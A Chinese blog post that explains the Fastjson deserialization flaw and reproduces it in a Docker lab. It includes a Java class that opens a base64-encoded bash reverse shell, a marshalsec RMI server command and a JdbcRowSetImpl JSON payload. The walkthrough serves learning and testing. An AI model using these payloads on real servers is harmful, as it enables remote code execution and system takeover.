• Fastjson反序列化漏洞


    一、fastjson简介

    fastjson是java的一个库,可以将java对象转化为json格式的字符串,也可以将json格式的字符串转化为java对象

    提供了 toJSONString() 和 parseObject() 方法来将 Java 对象与 JSON 相互转换。调用toJSONString方 法即可将对象转换成 JSON 字符串,parseObject 方法则反过来将 JSON 字符串转换成对象。

    二、fastjson反序列化漏洞原理

    在反序列化的时候,会进入parseField方法,进入该方法后,就会调用setValue(object, value)方法,在这里,会执行构造的恶意代码,最后造成代码执行。 那么通过以上步骤,我们可以知道该漏洞的利用点有两个,第一是需要我们指定一个类,这个类的作用是为了让程序获取这个类来进行反序列化操作。第二是需要将需要执行的代码提供给程序,所以这里使用了rmi。 然后反序列化的时候会去请求rmi服务器,地址为: dnslog.cn/aaa。然后加载aaa这个恶意class文件从而造成代码执行。

    三、fastjson反序列化漏洞的前提条件

    1. 目标服务器存在fastjson。
    2. 没有对用户传输的数据进行严格过滤。

    四、复现fastjson反序列化漏洞

    1.复现的步骤

    (1)开启环境

    • 黑客使用payload攻击主机A(该payload需要指定rmi/ldap地址)
    • 主机A引发反序列化漏洞,进行ldap远程方法调用,去连接主机B的9999端口。
    • 主机B的LDAP服务指定加载主机C的恶意java类,所以主机A通过主机B的LDAP服务最终加载并执行主机C的恶意java类。
    • 主机A执行恶意Java类,主机B获得反弹shell,控制主机A。

    2.进入docker容器进行复现

    1. cd 1.2.47-rce/
    2. docker-compose up -d 端口为:8090
    3. 访问
    4. 开启抓包确定是不是fastjson框架,通过修改请求包判断是否是fastjson框架 ,应为fastjson有一个严格的格式才能解析,否则会报错

    (2)准备一个恶意的类

    使用javac编译rmi.java文件 生成一个类文件

    import java.lang.Runtime;
    import java.lang.Process;
    
    public class rmi{
        static {
            try {
                Runtime rt = Runtime.getRuntime();
                String[] commands = {"bash", "-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ0LjE3MC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}"};
                Process pc = rt.exec(commands);
                pc.waitFor();
            } catch (Exception e) {
                // do nothing
            }
        }
    }
    //YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ0LjE3MC82NjY2IDA+JjE= 这个是监听主机的ip地址和端口号
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    (3)然后将类文件放到监听的服务器上

    (4)使用工具运行rmi文件

    payload:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.44.170/#rmi” 9999

    (5)修改数据包中的post请求主体

    {"a":{
            "@type":"java.lang.Class",
            "val":"com.sun.rowset.JdbcRowSetImpl"
        },
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"rmi://192.168.44.170:9999/rmi.class",
            "autoCommit":true}}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    (6)然后进行端口监听

    (7)点击go,发现反弹shell成功

    最后

    深知大多数初中级Java工程师,想要提升技能,往往是自己摸索成长或者是报班学习,但对于培训机构动则近万的学费,着实压力不小。自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

    因此收集整理了一份《Java开发全套学习资料》送给大家,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友,同时减轻大家的负担。

    小编已加密:aHR0cHM6Ly9kb2NzLnFxLmNvbS9kb2MvRFVrVm9aSGxQZUVsTlkwUnc==出于安全原因,我们把网站通过base64编码了,大家可以通过base64解码把网址获取下来。

  • 相关阅读:
    EasyExcel完成excel文件的导入导出
    uniapp 使用 z-paging组件
    PAT甲级:1063 Set Similarity|Python
    地理社交网络中基于多目标组合优化的空间感知影响力联合最大化
    【数据结构与算法】ArrayList与顺序表
    【Python机器学习】利用AdaBoost元算法提高分类性能——基于数据集多重抽样的分类器
    java项目之家用电器销售网站(源码+文档)
    技术需求创新手段组织方式 国稻种芯:转型促农业产业变革
    MATLAB算法实战应用案例精讲-【图像处理】机器视觉(应用篇)
    明美新能源冲刺深交所:年应收账款超6亿 拟募资4.5亿
  • 原文地址:https://blog.csdn.net/m0_67401761/article/details/126801734